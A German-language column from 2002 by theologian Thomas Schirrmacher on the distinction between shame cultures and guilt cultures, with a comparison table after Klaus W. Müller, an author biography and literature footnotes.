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Geschichts- und Kulturwissenschaften

Kolumne: Scham- und Schuldkultur

Prof. Dr. theol. Dr. phil. Thomas Schirrmacher · 
01.01.2002

Der Oxforder Altphilologe Eric Robertson Dodds hat 1951 treffend die Unterscheidung zwischen Schamkulturen und Schuldkulturen eingeführt[1], die die Völkerkunde[2] und die Psychologie[3] inzwischen vielfach bestätigt hat. In einer schamorientierten Kultur gilt nicht ein ruhiges Gewissen oder ein anständiger Charakter, sondern die öffentliche Wertschätzung als höchstes Gut. Es kommt nicht darauf an, ob man schuldig oder unschuldig ist, sondern welche Konsequenzen etwas für die äußere Reputation, also den guten Ruf, hat. In einer schuldorientierten Kultur gilt die Sorge des Menschen nicht vor allem seiner Ehre, sondern der Sühnung seiner Schuld. Wir erleben in der westlichen Welt derzeit das Ende der bisher umfassendsten Schuldkultur der Geschichte und einen Rückfall in eine auf reine Außenwahrnehmung des Menschen orientierte Schamkultur. In der Schuldkultur ist das Gewissen und ein vorgegebener Maßstab entscheidend, in der Schamkultur ist der Maßstab die Gesellschaft. Das Prestige wird wichtiger, weil es gilt, nicht in Schande zu geraten, Recht und Wahrheit bleiben auf der Strecke. Es herrscht Anpassung statt Eigenständigkeit.

Auch wenn jede Schuldkultur Elemente der Schamkultur enthält und umgekehrt und eine strikte Trennung der beiden unmöglich ist und die Bibel im sexuellen Bereich eindeutig die Scham als Schutzmechanismus kennt[4], ist die biblisch-christliche Ethik doch eindeutig der Ausgangspunkt für eine schuldorientierte Kultur, da die Gebote Gottes ein fester Maßstab sind und sich das Gewissen an ihm orientieren soll, statt sich der jeweiligen Stimmung der Umwelt anzupassen. Je mehr sich das christliche Abendland von dieser Schuldkultur entfernt, desto mehr treten reine Anpassung, rein äußere Reputation, das Nicht-Erwischenlassen und die Ehrsucht in den Vordergrund.

Schuld- und Schamorientierung nach Klaus W. Müller[5]

schuldorientiert

schamortientiert

Ausgangspunkt der Prägung

Kleine Zahl von prägenden Personen, genau definiert: Eltern (Basisfamilie)

Große Zahl von prägenden Personen (Großfamilie), ungenau definiert: Eltern und Verwandte, Fremde; Geistwesen.

Struktur

Verhaltensmaßstäbe der prägenden Personen werden übernommen, das Gewissen bildet sich aus.

Verhaltensmaßstäbe der prägenden Personen werden übernommen, das Gewissen bildet sich aus.

Manifestierung

In sich selbst, das eigene Gewissen ist Normüberwachung.

Andere Personen oder Geister sind Autorität zur Überwachung der Norm.

Reaktion bei geplanter Normverletzung

Signal des Gewissens, daß die imaginäre Tat falsch ist.

 

Abwehrmechanismus wird aktiviert.

Signal des Gewissens, daß die imaginäre Tat falsch ist.

 

Abwehrmechanismus wird aktiviert.

Reaktion bei tatsächlicher Normverletzung

Störung des Gleichgewichtes von innen verursacht.

 

 

Sofort, immer als Schuldgefühl erlebt, das als Bestrafung empfunden wird.

 

 

 

Entlastungsmechanismus wird aktiviert.

Störung des Gleichgewichtes von außen, aber nur dann, wenn die Tat anderen bewußt wird.

 

Sofort, immer als Schamgefühl erlebt, das als Bestrafung empfunden wird.

 

Abwehrmechanismus wird aktiviert.

 

Entlastungsmechanismus wird aktiviert.

Ergebnis

Ein funktionsfähiges Gewissen (Superego) führt zum Frieden.

Ein funktionsfähiges Gewissen (Superego) führt zum Frieden.

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Prof.Dr. Dr. Dr. Dr. h. c. Thomas Paul Schirrmacher, Jahrgang 1960, 1978-82 Stud. Theol. STH Basel, 1982 Mag. theol., 1985-91 Stud. Vergleichende Religionswiss., Völkerkunde u. Volkskunde an d. Univ. Bonn, 1984 Drs. theol. Theol. Hogeschool Kampen/NL, 1985 Dr. theol. Johannes Calvijn Stichting Theolog. Hogeschool Kampen/NL, 1989 Ph. D. (Dr. phil.) in Kulturalanthropologie Pacific Western Univ. Los Angeles, 1996 Th. D. (Dr. theol.) in Ethik Whitefield Theological Seminary Lakeland, 1997 D.D. (Dr. h.c. ) Cranmer Theological House Shreveport. 1983-90 Doz. Missionswiss. u. Vergleichende Religionswiss. FTA Gießen, 1984-89 Doz. f. Altes Testament u. Sozialethik Bibelseminar Wuppertal, seit 1993 Doz. Sozialethik u. Apologetik Bibelseminar Bonn, seit 1984 Gen.-Dir. d. IWGeV, seit 1985 Chefhrsg. d. Verlag f. Kultur u. Wiss., zusätzl. seit 1987 Inh., seit 1986 Präs. u. wiss. Koordinator Theological Education by Distance Deutschland (TFU) Altenkirchen, 1991-96 Lehrstuhl Missionswiss. u. Vergleichende Religionswiss. STH Basel, zusätzl. 1995-96 Lehrstuhl f. Ethik, 1991-96 Lehrstuhl f. postgraduate studies in Missionswiss. u. Vergleichende Religionswiss. FST Genf, zusätzl. 1995-96 Lehrstuhl f. Ethik, seit 1994 Prof. f. Missionswiss. Philadelphia Theological Seminary Philadelphia, seit 1996 Prof. f. Ethik Cranmer Theological House Shreveport, seit 1996 Rektor u. Prof. f. Ethik Martin Bucer Seminar Bonn, seit 1996 Prof. f. Theology u. Dir. d. dt. Zweiges Whitefield Theological Seminary, seit 1996 Rektor d. Martin Bucer Seminar Bonn. P.: 29 Bücher, darunter „Ethik“ (1993), zahlr. wiss. Artikel in dt., engl., niederländischer u. russischer Sprache, Chefredakteur Bibel u. Gem. 1988-97, Chefredakteur „Querschnitte“ 1988-92, Mithrsg. seit 1992, Hrsg. seit 1997, seit 1994 Mithrsg. Intern. Review for Reformed Missiology NL, seit 1992 Europ. Hrsg. Contra Mundum: a Reformed Cultural Review (USA), 1992-96 Redaktion Evangelikale Missiologie, seit 1996 Chefredakteur Evangelikale Missiologie, Hrsg. v. Buchreihen, alleiniger Hrsg. v. 3 Buchreihen, Chefredakteur v. 3 Buchreihen, Mithrsg. v. 6 Buchreihen. E.: 1997 Dr. h.c. Cranmer Theological House Shreveport, berufenes wiss. Mtgl. Dt. Ges. f. Missionswiss. M.: AfeM, 1985-87 Kurdisches Inst., seit 1988 Chefredakteur Bibelbund Reiskirchen, 1994-97 Präs. d. Inst. f. Islam u. Christentum Bruchsal, 1993-96 Präs. PBC Bonner Bez., seit 1987 Sprecher ISM Deutschland, seit 1992 Sprecher Ev. Allianz Bonn, seit 1996 Präs. Aktion christl. Ges. Bonn. H.: Intern. Zoos, klass. Musik (Bach b. Tschaikowsky), klass. Krimis  

Fußnoten

[1] Eric Robertson Dodds. Die Griechen und das Irrationale. Wissenschaftliche Buchgesellschaft: Darmstadt, 1970 (Orig.: The Greeks and the Irrational, 1951), darin bes. „Von der Schamkultur zur Schuldkultur“. S. 17-37

[2] Vgl. aus christlicher Sicht vor allem Klaus W. Müller. „Elenktik: Die Lehre vom scham- und schuldorientierten Gewissen“. Evangelikale Missiologie 12 (1996): 98-110; Klaus W. Müller. „Elenktik: Gewissen im Kontext“. S. 416-451 in: Hans Kasdorf, Klaus W. Müller (Hg.). Bilanz und Plan: Mission an der Schwelle zum Dritten Jahrtausend. Festschrift für George W. Peters zu seinem achtzigsten Geburtstag. Bad Liebenzell: Verlag der Liebenzeller Mission, 1988. Müller beruft sich vor allem auf den Kollegen Lothar Käser, der Lothar Käser. Fremde Kulturen: Eine Einführung in die Ethnologie. VLM: Lahr & Verlag der Evang.-Luth. Mission: Erlangen, 1998. S. 129-167, der allerdings sehr differenziert formuliert und nur von grundsätzlichen Tendenzen und Schwerpunkten spricht.

[3] „Schuld/Schuldgefühle“. S. 242-247 in: Lexikon der Bioethik. 3 Bde. Bd. 3. Gütersloher Verlagshaus: Gütersloh, 1998. S. 246-247

[4] Vgl. Christa Meves. Plädoyer für das Schamgefühl. Weißes Kreuz: Vellmar-Kassel, 1985

[5] Bei geringfügig anderer graphischer Darstellung zitiert aus Klaus W. Müller. „Elenktik: Gewissen im Kontext“. a. a. O. S. 439

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